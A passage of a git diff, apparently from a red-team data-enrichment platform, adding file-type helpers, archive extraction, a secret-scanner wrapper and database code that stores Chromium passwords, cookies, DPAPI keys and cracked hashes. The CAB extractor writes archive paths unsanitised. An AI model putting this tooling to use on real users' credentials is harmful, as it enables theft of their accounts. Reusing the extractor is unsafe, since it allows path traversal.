supplied file_path matches a number of specific file extensions + that allow the document to work with Tika. + """ + # image_regex = "^.*\\.(exr|avif|bmp|cgm|emf|g3|gif|heic|heif|ief|jp2|jpg|jpeg|jpm|jpf|jxl|ntf|png|btif|svg|tiff|psd|ppj|dgn|djvu|dxb|dxf|fbs|fpx|fst|mmr|rlc|mdi|npx|wbmp|xif|webp|wmf|bpg|cr2|cr3|rgb|xwd)$" + image_regex = "^.*\\.(bmp|gif|jpg|jpeg|png|svg|tiff|wbmp|webp|wmf)$" + is_image = re.match(image_regex, file_path, re.IGNORECASE) is not None + + misc_regex = "^.*\\.(txt|rtf|chm|pdf)$" + is_misc = re.match(misc_regex, file_path, re.IGNORECASE) is not None + + return is_office_doc(file_path) or is_image or is_misc + + +def is_office_doc(file_path: str) -> bool: + """Returns True if the file has an extension that indicates it's an Office document.""" + office_regex = "^.*\\.(doc|docx|docm|ppt|pptx|xls|xlsx|odt|ods|odp|ppt|pptx)$" + return re.match(office_regex, file_path, re.IGNORECASE) is not None + + +def can_convert_to_pdf(file_path: str) -> bool: + """Returns True if the supplied file_path matches an extension that Gotenberg can convert.""" + path_regex = ( + "^.*\\.(bib|doc|docx|fodt|html|ltx|txt|odt|ott|pdb|psw|odg|" + "rtf|sdw|stw|sxw|uot|vor|wps|epub|emf|eps|fodg|met|odd|otg|dotx|" + "pbm|pct|pgm|ppm|ras|std|svg|svm|swf|sxd|sxw|tiff|xhtml|xpm|xltx|" + "fodp|potm|pot|pptx|pps|ppt|pwp|sda|sdd|sti|sxi|uop|wmf|dbf|" + "dif|fods|ods|ots|pxl|sdc|slk|stc|sxc|uos|xls|xlt|xlsx|odp)$" + ) + return re.match(path_regex, file_path, re.IGNORECASE) is not None + + +def is_pe_extension(file_path: str) -> bool: + """Returns True if the supplied file_path matches a number of PE file extensions.""" + pe_regex = "^.*\\.(acm|ax|cpl|dll|drv|efi|exe|mui|ocx|scr|sys|tsp)$" + return re.match(pe_regex, file_path, re.IGNORECASE) is not None + + +def is_source_code(file_path: str) -> bool: + """Returns True if the supplied file_path matches a number of supported source code file extensions.""" + source_code_regex = "^.*\\.(aspx|c|cpp|cs|go|groovy|java|jsp|js|lua|php|php3" "|php4|php5|ps1|psd1|psm1|py|rb|rs|sql|sh|swift|vb|vbs)$" + return re.match(source_code_regex, file_path, re.IGNORECASE) is not None + + +def map_extension_to_language(extension: str) -> str: + """Maps a file extension to a source code language.""" + language_mappings = { + "aspx": "ASPNET", + "c": "C", + "cpp": "CPLusPlus", + "cs": "CSharp", + "go": "Golang", + "groovy": "Groovy", + "java": "Java", + "jsp": "JavaServerPages", + "lua": "Lua", + "php": "PHP", + "php3": "PHP", + "php4": "PHP", + "php5": "PHP", + "ps1": "PowerShell", + "psd1": "PowerShell", + "psm1": "PowerShell", + "py": "Python", + "rb": "Ruby", + "rs": "Rust", + "sql": "SQL", + "sh": "BashScript", + "swift": "Swift", + "vb": "VisualBasic", + "vbs": "VisualBasicScript", + } + return language_mappings.get(extension.lower(), "unknown") + + +def scan_with_yara(file_path: str, rule_name: str) -> bool: + """Scans a supplied file path with the given Yara rule. + + Returns the True/False value of the rule match. + """ + rule = yara.compile(filepath=f"./enrichment/lib/file_parsers/yara/{rule_name}.yara") + return len(rule.match(file_path)) != 0 + + +def nemesis_parsed_data_error(message: str) -> pb.ParsedData: + """Returns a `ParsedData` protobuf with the given error message.""" + parsed_data = pb.ParsedData() + parsed_data.error = message + return parsed_data + + +def nemesis_error(message: str) -> pb.Error: + """Returns a general Nemesis `error` protobuf message""" + error = pb.Error() + error.error = message + return error + + +def is_archive(path: str) -> bool: + """Returns true if the file supplied is a Zip, 7z, Tarball, or CAB.""" + return zipfile.is_zipfile(path) or py7zr.is_7zfile(path) or tarfile.is_tarfile(path) or libarchive.is_archive(path, ["cab"]) + + +def get_archive_size(path: str) -> int: + """Iterates over a zip's info entries and returns the total size. + + NOTE: not 100% reliable against malicious inputs! (i.e., we can still get zip-bombed) + + TODO: how to handle logging here? + """ + if zipfile.is_zipfile(path): + f = zipfile.ZipFile(path) + return sum([zinfo.file_size for zinfo in f.filelist]) + elif py7zr.is_7zfile(path): + f = py7zr.SevenZipFile(path) + return f.archiveinfo().uncompressed + elif tarfile.is_tarfile(path): + return estimate_uncompressed_gz_size(path) + elif libarchive.is_archive(path, ["cab"]): + total_size = 0 + with libarchive.Archive(path) as a: + for entry in a: + total_size += entry.size + return total_size + else: + # File is not a supported archive format + return -1 + + +def estimate_uncompressed_gz_size(filename) -> int: + """Estimates a gzip uncompressed size. + + Directly from https://stackoverflow.com/a/68939759 + """ + + try: + # From the input file, get some data: + # - the 32 LSB from the gzip stream + # - 1MB sample of compressed data + # - compressed file size + with open(filename, "rb") as gz_in: + sample = gz_in.read(1000000) + gz_in.seek(-4, SEEK_END) + lsb = struct.unpack("I", gz_in.read(4))[0] + file_size = os.fstat(gz_in.fileno()).st_size + + # Estimate the total size by decompressing the sample to get the + # compression ratio so we can extrapolate the uncompressed size + # using the compression ratio and the real file size + dobj = zlib.decompressobj(31) + d_sample = dobj.decompress(sample) + + compressed_len = len(sample) - len(dobj.unconsumed_tail) + decompressed_len = len(d_sample) + + estimate = int(file_size * decompressed_len / compressed_len) + + # 32 LSB to zero + mask = ~0xFFFFFFFF + + # Kill the 32 LSB to be substituted by the data read from the file + adjusted_estimate = (estimate & mask) | lsb + + return adjusted_estimate + + except Exception as e: + logger.warning(f"Error in estimate_uncompressed_gz_size: {e}") + return -1 + + +class FileNotSupportedException(Exception): + """Raised when a file is not supported""" + + pass + + +def extract_archive(path: str) -> str: + """ + Extracts an archive file to a temporary directory and returns the + temporary directory name + """ + + # unpack the zip to a temporary directory + tmp_dir = f"/tmp/{uuid.uuid4()}" + + if zipfile.is_zipfile(path): + shutil.unpack_archive(path, tmp_dir, "zip") + elif py7zr.is_7zfile(path): + shutil.register_unpack_format("7zip", [".7z"], py7zr.unpack_7zarchive) + shutil.unpack_archive(path, tmp_dir, "7zip") + elif tarfile.is_tarfile(path): + shutil.unpack_archive(path, tmp_dir, "tar") + elif libarchive.is_archive(path, ["cab"]): + with libarchive.Archive(path) as a: + for entry in a: + target_path = f"{tmp_dir}/{entry.pathname}" + # make sure we create all the subfolders needed to extract this file entry + os.makedirs(os.path.dirname(target_path), exist_ok=True) + with open(target_path, "wb") as f: + f.write(a.read(entry.size)) + else: + raise FileNotSupportedException("File is not a supported archive format") + return tmp_dir + + +def run_noseyparker(path: str) -> Optional[pb.NoseyParker]: + """Runs NoseyParker on the specified file/folder path. + + Runs NoseyParker on the specified file/folder path, returning a + pb.NoseyParker protobuf object representing the results if successful. + + The NoseyParker binary is built in the NoseyParker build container and copied to + /opt/noseyparker/noseyparker when this container is built. + + """ + + # the temporary datastore to use for NoseyParker + temp_dir = f"/tmp/{uuid.uuid4()}/" + + # run a scan with the temporary datastore + result = subprocess.run( + [ + "/opt/noseyparker/noseyparker", + "scan", + "--datastore", + temp_dir, + "-r", + "/opt/noseyparker/noseyparker.rules", + path, + ], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + + # get the result from stdout as a JSON blob + result = subprocess.run( + ["/opt/noseyparker/noseyparker", "report", "--datastore", temp_dir, "--format=json"], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + np_json_output_str = result.stdout.decode("utf-8") + + # clean up the temporary datastore + if os.path.exists(temp_dir) and os.path.isdir(temp_dir): + shutil.rmtree(temp_dir) + + # this will throw if the output is not proper Json + np_json_output = json.loads(np_json_output_str) + + if not np_json_output: + logger.debug("No results from NoseyParker scan") + return None + + # have to add this to ensure it's a dict instead of a list + np_dict = {"rule_matches": np_json_output} + + # TODO: emit hash instances specifically to the queue? + + # try to parse the dict/json output directly to the corresponding protobuf instance + pb_np = ParseDict(np_dict, pb.NoseyParker()) + return pb_np + + +def run_noseyparker_on_archive(path: str) -> Optional[pb.NoseyParker]: + """Runs NoseyParker on an archive. + + Extracts an archive file to a temporary directory, runs NoseyParker on it, + removes the temp directory, and returns the NoseyParker results. + + """ + + try: + # extract the archive + tmp_dir = extract_archive(path) + + if tmp_dir: + # run NoseyParker on the extracted results + pb_np = run_noseyparker(tmp_dir) + + # cleanup the temporary directory + if tmp_dir and os.path.exists(tmp_dir): + shutil.rmtree(tmp_dir, ignore_errors=True) + + return pb_np + + except Exception as e: + logger.exception(e, message="Exception run_noseyparker_on_archive", path=path) + return None + + +def get_username_from_slack_file_path(file_path: str) -> str: + """ + Checks if a file path is a Slack file (slack-downloads, slack-workspaces) + and returns a string of the username extracted from the path. + """ + + regex1 = re.compile(".*/(?P.*)/AppData/Roaming/Slack/storage/(slack-downloads|slack-workspaces)$") + matches = regex1.search(file_path, re.IGNORECASE) + + if matches: + return matches.group("username").lower() + else: + return "" diff --git a/cmd/enrichment/enrichment/lib/nemesis_db.py b/cmd/enrichment/enrichment/lib/nemesis_db.py new file mode 100644 index 0000000..5127f59 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/nemesis_db.py @@ -0,0 +1,1487 @@ +# Standard Libraries +import base64 +import ntpath +import os +import uuid +from abc import ABC, abstractmethod +from dataclasses import dataclass +from datetime import datetime +from decimal import Decimal +from enum import Enum +from types import TracebackType +from typing import (Any, AsyncGenerator, List, Optional, Tuple, Type, TypeVar, + Union) +from uuid import UUID + +# 3rd Party Libraries +import asyncpg +import nemesispb.nemesis_pb2 as pb +from enrichment.tasks.raw_data_tag.seatbelt_datatypes import SeatbeltOSInfo +from pydantic.types import UUID4 +from typing_extensions import Self + + +@dataclass +class Project: + project_id: str + timestamp: datetime + expiration: datetime + + +@dataclass +class Metadata: + agent_id: str + project_id: str + source: str + timestamp: datetime + expiration: datetime + + +@dataclass +class NamedPipe(Metadata): + name: str + server_process_name: str = None + server_process_id: int = None + server_process_path: str = None + sddl: str = None + + +@dataclass +class NetworkConnection(Metadata): + local_address: str = None + remote_address: str = None + protocol: str = None + state: str = None + process_id: int = None + process_name: str = None + service: str = None + + +@dataclass +class ChromiumHistoryEntry(Metadata): + user_data_directory: str = None + username: str = None + browser: str = None + url: str = None + title: str = None + visit_count: int = None + typed_count: int = None + last_visit_time: datetime = None + originating_object_id: UUID4 = None + + +@dataclass +class ChromiumDownload(Metadata): + user_data_directory: str = None + username: str = None + browser: str = None + url: str = None + download_path: str = None + start_time: datetime = None + end_time: datetime = None + total_bytes: int = None + danger_type: str = None + originating_object_id: UUID4 = None + + +@dataclass +class ChromiumLogin(Metadata): + user_data_directory: str = None + username: str = None + browser: str = None + origin_url: str = None + username_value: str = None + signon_realm: str = None + date_created: datetime = None + date_last_used: datetime = None + date_password_modified: datetime = None + times_used: int = None + password_value_enc: bytes = None + encryption_type: str = None + masterkey_guid: str = None + is_decrypted: bool = False + password_value_dec: str = None + originating_object_id: UUID4 = None + + +@dataclass +class ChromiumCookie(Metadata): + user_data_directory: str = None + username: str = None + browser: str = None + host_key: str = None + name: str = None + path: str = None + creation: datetime = None + expires: datetime = None + last_access: datetime = None + last_update: datetime = None + is_secure: bool = None + is_httponly: bool = None + is_session: bool = None + samesite: str = None + source_port: int = None + value_enc: bytes = None + encryption_type: str = None + masterkey_guid: str = None + is_decrypted: bool = False + value_dec: str = None + originating_object_id: UUID4 = None + + +@dataclass +class ChromiumStateFile(Metadata): + user_data_directory: str = None + username: str = None + browser: str = None + installation_date: datetime = None + launch_count: int = None + masterkey_guid: str = None + key_bytes_enc: bytes = None + app_bound_fixed_data_enc: bytes = None + is_decrypted: bool = False + key_bytes_dec: bytes = None + app_bound_fixed_data_dec: bytes = None + originating_object_id: UUID4 = None + + +@dataclass +class AuthenticationData(Metadata): + data: str = None + type: str = None + is_file: bool = False + uri: str = None + username: str = None + notes: str = None + originating_object_id: UUID4 = None + + +@dataclass +class ExtractedHash(Metadata): + hash_type: str = None + hash_value: str = None + originating_object_id: UUID4 = None + hashcat_formatted_value: str = None + jtr_formatted_value: str = None + is_cracked: bool = False + checked_against_top_passwords: bool = False + plaintext_value: str = None + is_submitted_to_cracker: bool = False + cracker_submission_time: datetime = None + cracker_cracked_time: datetime = None + + +@dataclass +class DpapiBlob(Metadata): + dpapi_blob_id: str + masterkey_guid: UUID4 + originating_object_id: UUID4 + originating_registry_id: UUID4 + is_file: bool + is_decrypted: bool + enc_data_bytes: Optional[bytes] = None + enc_data_object_id: Optional[UUID4] = None + dec_data_bytes: Optional[bytes] = None + dec_data_object_id: Optional[UUID4] = None + + +@dataclass +class DpapiMasterkey(Metadata): + object_id: str = None + type: str = None + username: str = None + user_sid: str = None + masterkey_guid: UUID4 = None + is_decrypted: bool = False + masterkey_bytes: bytes = None + domain_backupkey_guid: Optional[UUID4] = None + domainkey_pb_secret: Optional[bytes] = None + decrypted_key_full: Optional[bytes] = None + decrypted_key_sha1: Optional[bytes] = None + + +@dataclass +class DpapiDomainBackupkey(Metadata): + domain_backupkey_guid: str + domain_controller: str + domain_backupkey_bytes: bytes + + +# @dataclass +# class Service(Metadata): +# domain_backupkey_guid: str = None +# domain_controller: str = None +# domain_backupkey_bytes: bytes = None + + +@dataclass +class RegistryObject(Metadata): + key: str + value_kind: Optional[int] = None + sddl: Optional[str] = None + value_name: Optional[str] = None + value: Optional[str] = None + tags: Optional[str] = None + + +@dataclass +class HostInfo(Metadata): + hostname: str + description: Optional[str] = None + os_type: Optional[str] = None + windows_major_version: Optional[Decimal] = None + windows_build: Optional[str] = None + windows_release: Optional[int] = None + windows_domain: Optional[str] = None + + @classmethod + def from_seatbelt_dto(cls, dto: SeatbeltOSInfo, m: Metadata) -> Self: + """Converts a SeatbeltOSInfo DTO object to a NemesisDB HostInfo object. + + Args: + dto (SeatbeltOSInfo): The SeatbeltOSInfo object to convert + metadata (Metadata): The metadata for the raw_data event + + Returns: + HostInfo: The converted HostInfo object + """ + + hostname = dto.Hostname + description = dto.ProductName + os_type = "windows" + windows_major_version = dto.CurrentMajorVersionNumber + windows_build = dto.Build + windows_release = dto.ReleaseId + windows_domain = dto.Domain + + h = HostInfo( + m.agent_id, + m.project_id, + m.source, + m.timestamp, + m.expiration, + hostname, + description, + os_type, + windows_major_version, + windows_build, + windows_release, + windows_domain, + ) + return h + + +@dataclass +class SlackDownload(Metadata): + username: str + team_id: Optional[str] = None + user_id: Optional[str] = None + download_path: Optional[str] = None + start_time: Optional[datetime] = None + workspace_id: Optional[str] = None + download_id: Optional[str] = None + url: Optional[str] = None + download_state: Optional[str] = None + end_time: Optional[datetime] = None + + +@dataclass +class SlackWorkspace(Metadata): + username: str + workspace_name: Optional[str] = None + workspace_domain: Optional[str] = None + workspace_id: Optional[str] = None + workspace_icon_url: Optional[str] = None + + +@dataclass +class FileInfo(Metadata): + path: str + type: str + name: Optional[str] = None + extension: Optional[str] = None + size: Optional[int] = None + access_time: Optional[datetime] = None + creation_time: Optional[datetime] = None + modification_time: Optional[datetime] = None + owner: Optional[str] = None + sddl: Optional[str] = None + version_info: Optional[str] = None + + +@dataclass +class FileInfoDataEnriched(Metadata): + path: str + name: Optional[str] = None + extension: Optional[str] = None + size: Optional[int] = None + magic_type: Optional[str] = None + nemesis_file_id: Optional[str] = None + + +@dataclass +class FileDataEnriched(Metadata): + object_id: str + path: str + name: str + size: int + md5: str + sha1: str + sha256: str + nemesis_file_type: str + magic_type: str + converted_pdf_id: Optional[str] = None + extracted_plaintext_id: Optional[str] = None + extracted_source_id: Optional[str] = None + originating_object_id: Optional[str] = None + tags: Optional[List[str]] = None + + +class ServiceColumn(Enum): + BINARY_PATH = "binary_path" + COMMAND_LINE = "command_line" + DESCRIPTION = "description" + DISPLAY_NAME = "display_name" + SDDL = "sddl" + SERVICE_DLL_ENTRYPOINT = "service_dll_entrypoint" + SERVICE_DLL_PATH = "service_dll_path" + SERVICE_TYPE = "service_type" + START_TYPE = "start_type" + USERNAME = "username" + + +class NemesisDbInterface(ABC): + @abstractmethod + async def add_api_data_message(self, message_id: str, message_bytes: bytes) -> None: + pass + + @abstractmethod + async def add_project(self, project: Project) -> None: + pass + + @abstractmethod + async def add_chromium_history_entry(self, history_entry: ChromiumHistoryEntry) -> None: + pass + + @abstractmethod + async def add_chromium_download(self, download: ChromiumDownload) -> None: + pass + + @abstractmethod + async def add_chromium_login(self, login: ChromiumLogin) -> None: + pass + + @abstractmethod + async def add_chromium_cookie(self, cookie: ChromiumCookie) -> None: + pass + + @abstractmethod + async def add_chromium_state_file(self, state_file: ChromiumStateFile) -> None: + pass + + @abstractmethod + async def add_authentication_data(self, auth_data: AuthenticationData) -> None: + pass + + @abstractmethod + async def add_extracted_hash(self, auth_data: ExtractedHash) -> None: + pass + + @abstractmethod + async def add_dpapi_blob(self, dpapi_blob: DpapiBlob) -> None: + pass + + @abstractmethod + async def add_dpapi_masterkey(self, obj: DpapiMasterkey) -> None: + pass + + @abstractmethod + async def add_dpapi_domain_backupkey(self, obj: DpapiDomainBackupkey) -> None: + pass + + @abstractmethod + async def add_registry_object(self, registry_object: RegistryObject) -> None: + pass + + @abstractmethod + async def add_service(self, metadata: pb.Metadata, service_name: str) -> None: + pass + + @abstractmethod + async def add_service_property( + self, + metadata: pb.Metadata, + service_name: str, + value_name: ServiceColumn, + value: Union[int, str], + ) -> None: + pass + + @abstractmethod + async def add_host_info(self, os_info: HostInfo) -> None: + pass + + @abstractmethod + async def add_slack_download(self, slack_download: SlackDownload) -> None: + pass + + @abstractmethod + async def add_slack_workspace(self, slack_workspace: SlackWorkspace) -> None: + pass + + @abstractmethod + async def add_named_pipe(self, named_pipe: NamedPipe) -> None: + pass + + @abstractmethod + async def add_network_connection(self, network_connection: NetworkConnection) -> None: + pass + + @abstractmethod + async def add_filesystem_object(self, file_info: FileInfo) -> None: + pass + + @abstractmethod + async def add_filesystem_object_from_enriched(self, file_data_enriched: FileInfoDataEnriched) -> None: + pass + + @abstractmethod + async def get_encrypted_dpapi_masterkeys(self, domain_backupkey_guid: str): + pass + + @abstractmethod + async def get_encrypted_dpapi_blobs(self, masterkey_guid: str) -> List[Tuple[uuid.UUID, bool, bytes, uuid.UUID]]: + pass + + @abstractmethod + async def get_decrypted_dpapi_masterkey(self, masterkey_guid: str): + pass + + @abstractmethod + async def get_dpapi_domain_backupkey(self, domain_backupkey_guid: str) -> Optional[bytes]: + pass + + @abstractmethod + async def update_decrypted_dpapi_masterkey(self, masterkey_guid: str, decrypted_key_sha1: bytes, decrypted_key_full: bytes) -> None: + pass + + @abstractmethod + async def update_decrypted_dpapi_blob( + self, + dpapi_blob_id: uuid.UUID, + dec_data_bytes: Optional[bytes], + dec_data_object_id: Optional[UUID], + ) -> None: + pass + + @abstractmethod + async def get_decrypted_chromium_state_key(self, source: str, user_data_directory: str): + pass + + @abstractmethod + async def get_encrypted_chromium_state_key(self, masterkey_guid: str) -> List[Tuple[str, str, uuid.UUID, bytes, bytes]]: + pass + + @abstractmethod + async def update_decrypted_chromium_state_key( + self, unique_db_id: UUID4, key_bytes_dec: bytes, app_bound_fixed_data_dec: bytes | None + ) -> None: + pass + + @abstractmethod + async def get_dpapi_encrypted_chromium_logins(self, masterkey_guid: str) -> List[Tuple[uuid.UUID, bytes]]: + pass + + @abstractmethod + async def get_aes_encrypted_chromium_logins(self, source: str, user_data_directory: str) -> List[Tuple[uuid.UUID, bytes]]: + pass + + @abstractmethod + async def update_decrypted_chromium_login(self, unique_db_id: UUID4, password_value_dec: str) -> None: + pass + + @abstractmethod + async def get_dpapi_encrypted_chromium_cookies(self, masterkey_guid: str) -> List[Tuple[uuid.UUID, bytes]]: + pass + + @abstractmethod + async def get_aes_encrypted_chromium_cookies(self, source: str, user_data_directory: str) -> List[Tuple[uuid.UUID, bytes]]: + pass + + @abstractmethod + async def update_decrypted_chromium_cookie(self, unique_db_id: UUID4, value_dec: str) -> None: + pass + + +NemesisDbT = TypeVar("NemesisDbT", bound="NemesisDb") +_Record = TypeVar("_Record", bound=asyncpg.protocol.Record) +_R = TypeVar("_R", bound=asyncpg.Record) + + +class NemesisDb(NemesisDbInterface): + """ + Generic database interface for Nemesis data types + """ + + pool: asyncpg.pool.Pool + + def __init__(self, pool: asyncpg.pool.Pool): + if not pool: + raise Exception("Invalid connection pool") + self.pool = pool + + @staticmethod + async def create(connection_uri: str): + pool = await asyncpg.create_pool(dsn=connection_uri) + if not pool: + raise Exception("Failed to create connection pool") + return NemesisDb(pool) + + async def __aexit__( + self, + exc_type: Optional[Type[BaseException]], + exc_val: Optional[BaseException], + exc_tb: Optional[TracebackType], + ) -> None: + await self.Close() + + async def Close(self) -> None: + await self.pool.close() + + # + # Functions that help with reprocessing + # + + async def add_api_data_message(self, message_id: str, message_bytes: bytes) -> None: + """Adds a new `nemesis.api_data_message` entry to the database.""" + + async with self.pool.acquire() as conn: + await conn.execute( + "INSERT INTO nemesis.api_data_messages (message_id, message_bytes) VALUES ($1, $2) ON CONFLICT DO NOTHING", + message_id, + message_bytes, + ) + + async def clear_database(self) -> None: + """Clears all tables in the database except for the `nemesis.api_data_messages` table.""" + + async with self.pool.acquire() as conn: + table_names = await conn.fetch( + "SELECT table_name FROM information_schema.tables WHERE table_schema = 'nemesis' AND table_name != 'api_data_messages'", + ) + for table_name in table_names: + await conn.execute(f"TRUNCATE TABLE nemesis.{table_name[0]} CASCADE") + + async def get_api_data_messages(self) -> AsyncGenerator[bytes, None]: + """Returns the raw bytes for all POST /data messages.""" + + async with self.pool.acquire() as conn: + async with conn.transaction(): + async for message_bytes in conn.cursor("SELECT message_bytes FROM nemesis.api_data_messages"): + yield message_bytes[0] + + # + # Other + # + + async def add_project(self, project: Project) -> None: + """Adds a new `nemesis.projects` to the database.""" + + async with self.pool.acquire() as conn: + await conn.execute( + "INSERT INTO nemesis.projects (project_id, timestamp, expiration) VALUES ($1, $2, $3) ON CONFLICT DO NOTHING", + project.project_id, + project.timestamp, + project.expiration, + ) + + async def add_chromium_history_entry(self, history_entry: ChromiumHistoryEntry) -> None: + """Adds a new `nemesis.chromium_history` entry from a ChromiumHistoryEntry class object.""" + + query = ( + "INSERT INTO nemesis.chromium_history (agent_id, project_id, source, timestamp, expiration, originating_object_id, user_data_directory, username, browser, url, title, visit_count, typed_count, last_visit_time) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14) ON CONFLICT DO NOTHING" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + history_entry.agent_id, + history_entry.project_id, + history_entry.source, + history_entry.timestamp, + history_entry.expiration, + history_entry.originating_object_id, + history_entry.user_data_directory, + history_entry.username, + history_entry.browser, + history_entry.url, + history_entry.title, + history_entry.visit_count, + history_entry.typed_count, + history_entry.last_visit_time, + ) + + async def add_chromium_download(self, download: ChromiumDownload) -> None: + """Adds a new `nemesis.chromium_downloads` entry from a ChromiumDownload class object.""" + + query = ( + "INSERT INTO nemesis.chromium_downloads (agent_id, project_id, source, timestamp, expiration, originating_object_id, user_data_directory, username, browser, url, download_path, start_time, end_time, total_bytes, danger_type) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15) ON CONFLICT DO NOTHING" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + download.agent_id, + download.project_id, + download.source, + download.timestamp, + download.expiration, + download.originating_object_id, + download.user_data_directory, + download.username, + download.browser, + download.url, + download.download_path, + download.start_time, + download.end_time, + download.total_bytes, + download.danger_type, + ) + + async def add_chromium_login(self, login: ChromiumLogin) -> None: + """Adds a new `nemesis.chromium_logins` entry from a ChromiumLogin class object.""" + + query = ( + "INSERT INTO nemesis.chromium_logins (agent_id, project_id, source, timestamp, expiration, originating_object_id, user_data_directory, username, browser, origin_url, username_value, password_value_enc, signon_realm, date_created, date_last_used, date_password_modified, times_used, encryption_type, masterkey_guid, is_decrypted, password_value_dec) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20, $21) ON CONFLICT DO NOTHING" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + login.agent_id, + login.project_id, + login.source, + login.timestamp, + login.expiration, + login.originating_object_id, + login.user_data_directory, + login.username, + login.browser, + login.origin_url, + login.username_value, + login.password_value_enc, + login.signon_realm, + login.date_created, + login.date_last_used, + login.date_password_modified, + login.times_used, + login.encryption_type, + login.masterkey_guid, + login.is_decrypted, + login.password_value_dec, + ) + + async def add_chromium_cookie(self, cookie: ChromiumCookie) -> None: + """Adds a new `nemesis.chromium_cookies` entry from a ChromiumCookie class object.""" + + query = ( + "INSERT INTO nemesis.chromium_cookies (agent_id, project_id, source, timestamp, expiration, originating_object_id, user_data_directory, username, browser, host_key, name, path, creation_utc, expires_utc, last_access_utc, last_update_utc, is_secure, is_httponly, is_session, samesite, source_port, value_enc, encryption_type, masterkey_guid, is_decrypted, value_dec) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20, $21, $22, $23, $24, $25, $26) ON CONFLICT DO NOTHING" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + cookie.agent_id, + cookie.project_id, + cookie.source, + cookie.timestamp, + cookie.expiration, + cookie.originating_object_id, + cookie.user_data_directory, + cookie.username, + cookie.browser, + cookie.host_key, + cookie.name, + cookie.path, + cookie.creation, + cookie.expires, + cookie.last_access, + cookie.last_update, + cookie.is_secure, + cookie.is_httponly, + cookie.is_session, + cookie.samesite, + cookie.source_port, + cookie.value_enc, + cookie.encryption_type, + cookie.masterkey_guid, + cookie.is_decrypted, + cookie.value_dec, + ) + + async def add_chromium_state_file(self, state_file: ChromiumStateFile) -> None: + """Adds a new `nemesis.chromium_state_files` entry from a ChromiumDownload class object.""" + + query = ( + "INSERT INTO nemesis.chromium_state_files (agent_id, project_id, source, timestamp, expiration, originating_object_id, user_data_directory, username, browser, installation_date, launch_count, masterkey_guid, key_bytes_enc, app_bound_fixed_data_enc, is_decrypted, key_bytes_dec, app_bound_fixed_data_dec) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17) ON CONFLICT DO NOTHING" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + state_file.agent_id, + state_file.project_id, + state_file.source, + state_file.timestamp, + state_file.expiration, + state_file.originating_object_id, + state_file.user_data_directory, + state_file.username, + state_file.browser, + state_file.installation_date, + state_file.launch_count, + state_file.masterkey_guid, + state_file.key_bytes_enc, + state_file.app_bound_fixed_data_enc, + state_file.is_decrypted, + state_file.key_bytes_dec, + state_file.app_bound_fixed_data_dec, + ) + + async def add_authentication_data(self, auth_data: AuthenticationData) -> None: + """Adds a new `nemesis.dpapi_blobs` entry from a AuthenticationData class object.""" + + query = ( + "INSERT INTO nemesis.authentication_data (" + "agent_id, project_id, source, timestamp, " + "expiration, data, type, is_file, notes, uri," + "username, originating_object_id) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12) ON CONFLICT DO NOTHING" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + auth_data.agent_id, + auth_data.project_id, + auth_data.source, + auth_data.timestamp, + auth_data.expiration, + auth_data.data, + auth_data.type, + auth_data.is_file, + auth_data.notes, + auth_data.uri, + auth_data.username, + auth_data.originating_object_id, + ) + + async def add_extracted_hash(self, auth_data: ExtractedHash) -> None: + """Adds a new `nemesis.extracted_hashes` entry from a ExtractedHash class object.""" + + query = ( + "INSERT INTO nemesis.extracted_hashes (agent_id, project_id, source, timestamp, expiration, originating_object_id, hash_type, hash_value, jtr_formatted_value, is_cracked, checked_against_top_passwords, plaintext_value) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12) ON CONFLICT DO NOTHING" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + auth_data.agent_id, + auth_data.project_id, + auth_data.source, + auth_data.timestamp, + auth_data.expiration, + auth_data.originating_object_id, + auth_data.hash_type, + auth_data.hash_value, + auth_data.jtr_formatted_value, + auth_data.is_cracked, + auth_data.checked_against_top_passwords, + auth_data.plaintext_value, + ) + + async def add_dpapi_blob(self, dpapi_blob: DpapiBlob) -> None: + """Adds a new `nemesis.dpapi_blobs` entry from a DpapiBlob class object.""" + + query = ( + "INSERT INTO nemesis.dpapi_blobs (" + " agent_id, project_id, source, timestamp, expiration, dpapi_blob_id, originating_object_id, originating_registry_id, masterkey_guid, is_file, is_decrypted, enc_data_bytes, enc_data_object_id, dec_data_bytes, dec_data_object_id) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15) ON CONFLICT DO NOTHING" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + dpapi_blob.agent_id, + dpapi_blob.project_id, + dpapi_blob.source, + dpapi_blob.timestamp, + dpapi_blob.expiration, + dpapi_blob.dpapi_blob_id, + dpapi_blob.originating_object_id, + dpapi_blob.originating_registry_id, + dpapi_blob.masterkey_guid, + dpapi_blob.is_file, + dpapi_blob.is_decrypted, + dpapi_blob.enc_data_bytes, + dpapi_blob.enc_data_object_id, + dpapi_blob.dec_data_bytes, + dpapi_blob.dec_data_object_id, + ) + + async def add_dpapi_masterkey(self, obj: DpapiMasterkey) -> None: + """Adds a new `nemesis.dpapi_masterkeys` entry from a DpapiMasterkey class object.""" + + query = ( + "INSERT INTO nemesis.dpapi_masterkeys ( " + " agent_id, project_id, source, timestamp, expiration, object_id, type, username, user_sid, masterkey_guid, is_decrypted, " + " masterkey_bytes, domain_backupkey_guid, domainkey_pb_secret, decrypted_key_full, decrypted_key_sha1) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16) ON CONFLICT DO NOTHING" + ) + + async with 